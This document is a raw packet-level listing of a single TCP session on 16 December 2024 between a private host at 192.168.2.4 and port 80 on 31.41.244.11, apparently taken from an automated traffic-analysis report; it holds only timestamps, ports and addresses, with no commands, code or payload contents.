Dec 16, 2024 21:03:01.525830984 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.526514053 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.526571035 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.526742935 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.526793957 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.527411938 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.527466059 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.527493000 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.527538061 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.528346062 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.528393030 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.528429985 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.528481007 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.529263973 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.529311895 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.529361010 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.529411077 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.530122995 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.530173063 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.530177116 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.530219078 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.530972004 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.531029940 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.531075001 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.531122923 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.531852007 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.531899929 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.531932116 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.531976938 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.532711029 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.532762051 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.532809973 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.532856941 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.533576012 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.533627033 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.533706903 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.533755064 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.534447908 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.534495115 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.534563065 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.534610033 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.535387993 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.535434961 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.535516977 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.535563946 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.536233902 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.536293983 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.536336899 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.536382914 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.537101030 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.537147999 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.537276983 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.537323952 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.537990093 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.538038015 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.538135052 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.538178921 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.538857937 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.538902998 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.538949966 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.538994074 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.539761066 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.539805889 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.539850950 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.539896011 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.540627956 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.540690899 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.540739059 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.540783882 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.541528940 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.541575909 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.541646004 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.541690111 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.542682886 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.542735100 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.542776108 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.542824984 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.543282032 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.543333054 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.543382883 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.543427944 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.544275999 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.544320107 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.544368029 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.544413090 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.545154095 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.545203924 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.545295000 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.545340061 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.546060085 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.546107054 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.546154976 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.546205997 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.546822071 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.546866894 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.546966076 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.547013998 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.547693968 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.547739983 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.547897100 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.547947884 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.548588037 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.548655033 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.548688889 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.548733950 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.549441099 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.549487114 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.549527884 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.549576044 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.550477982 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.550532103 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.550560951 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.550611973 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.551232100 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.551290989 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.551407099 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.551454067 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.552088022 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.552133083 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.552181005 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.552226067 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.552993059 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.553033113 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.553108931 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.553153992 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.553869009 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.553915977 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.554100037 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.554146051 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.554790974 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.554851055 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.554876089 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.554919958 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.555598021 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.555648088 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.555697918 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.555742979 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.556493998 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.556540012 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.556586981 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.556633949 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.557384968 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.557431936 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.557523012 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.557585001 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.558229923 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.558278084 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.558450937 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.558495045 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.559130907 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.559176922 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.559251070 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.559294939 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.560044050 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.560091972 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.560115099 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.560163975 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.560924053 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.560976982 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.561111927 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.561158895 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.561820030 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.561877012 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.561924934 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.561970949 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.562674999 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.562721968 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.562799931 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.562855959 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.563621998 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.563671112 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.563673019 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.563719988 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.564467907 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.564513922 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.564569950 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.564618111 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.710892916 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.710963964 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.711083889 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.711126089 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.711178064 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.711371899 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.711483002 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.711488008 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.711527109 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.712228060 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.712269068 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.712357044 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.712398052 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.713119984 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.713165045 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.713248014 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.713291883 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.713963032 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.714010000 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.714059114 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.714102983 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.714835882 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.714905977 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.714941978 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.714984894 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.715724945 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.715764999 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.715820074 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.715862989 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.716630936 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.716686010 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.716756105 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.716841936 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.717497110 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.717577934 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.717581034 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.717688084 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.718360901 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.718405008 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.718450069 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.718494892 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.719263077 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.719400883 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.719445944 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.720133066 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.720244884 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.720308065 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.720355034 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.721072912 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.721124887 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.721163034 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.721229076 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.721946001 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.721993923 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.722177029 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.722227097 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.722863913 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.722912073 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.722956896 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.723081112 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.723803043 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.723854065 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.723928928 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.724023104 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.724638939 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.724682093 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.724729061 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.724771023 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.725451946 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.725634098 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.725677013 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.726376057 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.726454973 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.726500034 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.727202892 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.727247953 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.727305889 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.727415085 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.728117943 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.728166103 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.728204012 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.728393078 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.728977919 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.729072094 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.729171038 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.729276896 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.729893923 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.729912043 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.729974985 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.729974985 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.730734110 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.730782986 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.730828047 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.730870962 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.731607914 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.731653929 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.731755018 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.731798887 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.732466936 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.732578039 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.732604027 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.732640982 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.733385086 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.733438015 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.733509064 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.733598948 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.734240055 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.734299898 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.734302044 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.734361887 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.735254049 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.735305071 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.735368967 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.735411882 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.736279964 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.736334085 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.736339092 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.736427069 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.737212896 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.737267017 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.737267971 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.737309933 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.738071918 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.738126993 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.738177061 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.738697052 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.738754988 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.738811016 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.738878012 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.739655972 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.739716053 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.739830017 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.739891052 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.740437031 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.740540981 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.740628958 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.740684032 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.741332054 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.741391897 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.741473913 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.741574049 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.742218018 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.742271900 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.742352962 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.742402077 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.743088961 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.743140936 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.743221998 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.743350029 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.744008064 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.744059086 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.744153023 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.744208097 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.744848013 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.744904041 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.744904041 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.744972944 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.745737076 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.745788097 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.745851994 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.745894909 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:01.746682882 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:01.746750116 CET	49882	80	192.168.2.4	31.41.244.11
